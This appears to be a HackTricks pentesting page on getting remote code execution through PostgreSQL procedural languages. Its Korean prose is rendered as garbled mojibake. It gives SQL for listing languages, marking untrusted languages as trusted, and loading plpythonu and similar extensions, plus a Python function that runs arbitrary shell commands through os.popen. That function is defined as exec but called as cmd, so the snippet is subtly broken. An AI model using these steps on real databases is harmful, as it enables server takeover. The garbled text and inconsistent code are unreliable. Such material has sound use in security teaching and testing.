RCE with PostgreSQL Languages

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

PostgreSQL Languages

๋‹น์‹ ์ด ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋Š” PostgreSQL ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์—๋Š” ์•…์šฉํ•  ์ˆ˜ ์žˆ๋Š” ๋‹ค์–‘ํ•œ ์Šคํฌ๋ฆฝํŒ… ์–ธ์–ด๊ฐ€ ์„ค์น˜๋˜์–ด ์žˆ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ž„์˜์˜ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๋‹น์‹ ์€ ๊ทธ๋“ค์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

\dL *

SELECT lanname,lanpltrusted,lanacl FROM pg_language;

๋Œ€๋ถ€๋ถ„์˜ PostgreSQL์— ์„ค์น˜ํ•  ์ˆ˜ ์žˆ๋Š” ์Šคํฌ๋ฆฝํŒ… ์–ธ์–ด๋Š” 2๊ฐ€์ง€ ์ข…๋ฅ˜๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค: ์‹ ๋ขฐ๋œ๊ณผ ์‹ ๋ขฐ๋˜์ง€ ์•Š์€. ์‹ ๋ขฐ๋˜์ง€ ์•Š์€ ์–ธ์–ด๋Š” โ€œuโ€œ๋กœ ๋๋‚˜๋Š” ์ด๋ฆ„์„ ๊ฐ€์ง€๋ฉฐ, ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•˜๊ณ  ๋‹ค๋ฅธ ํฅ๋ฏธ๋กœ์šด ๊ธฐ๋Šฅ์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋Š” ๋ฒ„์ „์ž…๋‹ˆ๋‹ค. ์„ค์น˜๋œ ๊ฒฝ์šฐ ํฅ๋ฏธ๋กœ์šด ์–ธ์–ด๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค:

  • plpythonu
  • plpython3u
  • plperlu
  • pljavaU
  • plrubyu
  • โ€ฆ (์•ˆ์ „ํ•˜์ง€ ์•Š์€ ๋ฒ„์ „์„ ์‚ฌ์šฉํ•˜๋Š” ๋‹ค๋ฅธ ํ”„๋กœ๊ทธ๋ž˜๋ฐ ์–ธ์–ด)

Warning

ํฅ๋ฏธ๋กœ์šด ์–ธ์–ด๊ฐ€ ์„ค์น˜๋˜์–ด ์žˆ์ง€๋งŒ PostgreSQL์— ์˜ํ•ด ์‹ ๋ขฐ๋˜์ง€ ์•Š๋Š” ๊ฒฝ์šฐ (**lanpltrusted**๊ฐ€ false) ๋‹ค์Œ ์ค„์„ ์‚ฌ์šฉํ•˜์—ฌ ์‹ ๋ขฐํ•  ์ˆ˜ ์žˆ๋„๋ก ์‹œ๋„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋ฉด PostgreSQL์—์„œ ์ œํ•œ์ด ์ ์šฉ๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค:

UPDATE pg_language SET lanpltrusted=true WHERE lanname='plpythonu';
# pg_language ํ…Œ์ด๋ธ”์— ๋Œ€ํ•œ ๊ถŒํ•œ์„ ํ™•์ธํ•˜๋ ค๋ฉด
SELECT * FROM information_schema.table_privileges WHERE table_name = 'pg_language';

Caution

์–ธ์–ด๊ฐ€ ๋ณด์ด์ง€ ์•Š๋Š” ๊ฒฝ์šฐ (์Šˆํผ๊ด€๋ฆฌ์ž์—ฌ์•ผ ํ•จ) ๋‹ค์Œ๊ณผ ๊ฐ™์ด ๋กœ๋“œํ•ด ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

CREATE EXTENSION plpythonu;
CREATE EXTENSION plpython3u;
CREATE EXTENSION plperlu;
CREATE EXTENSION pljavaU;
CREATE EXTENSION plrubyu;

์•ˆ์ „ํ•œ ๋ฒ„์ „์„ โ€œ์•ˆ์ „ํ•˜์ง€ ์•Š์€โ€ ๋ฒ„์ „์œผ๋กœ ์ปดํŒŒ์ผํ•˜๋Š” ๊ฒƒ์ด ๊ฐ€๋Šฅํ•˜๋‹ค๋Š” ์ ์— ์œ ์˜ํ•˜์„ธ์š”. ์˜ˆ๋ฅผ ๋“ค์–ด ์ด ๋งํฌ๋ฅผ ํ™•์ธํ•˜์„ธ์š”. ๋”ฐ๋ผ์„œ ์‹ ๋ขฐ๋œ ๋ฒ„์ „๋งŒ ์„ค์น˜๋˜์–ด ์žˆ๋”๋ผ๋„ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๋Š”์ง€ ์‹œ๋„ํ•ด ๋ณผ ๊ฐ€์น˜๊ฐ€ ํ•ญ์ƒ ์žˆ์Šต๋‹ˆ๋‹ค.

plpythonu/plpython3u

CREATE OR REPLACE FUNCTION exec (cmd text)
RETURNS VARCHAR(65535) stable
AS $$
import os
return os.popen(cmd).read()
#return os.execve(cmd, ["/usr/lib64/pgsql92/bin/psql"], {})
$$
LANGUAGE 'plpythonu';

SELECT cmd("ls"); #RCE with popen or execve

pgSQL

๋‹ค์Œ ํŽ˜์ด์ง€๋ฅผ ํ™•์ธํ•˜์„ธ์š”:

PL/pgSQL Password Bruteforce

C

๋‹ค์Œ ํŽ˜์ด์ง€๋ฅผ ํ™•์ธํ•˜์„ธ์š”:

RCE with PostgreSQL Extensions

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ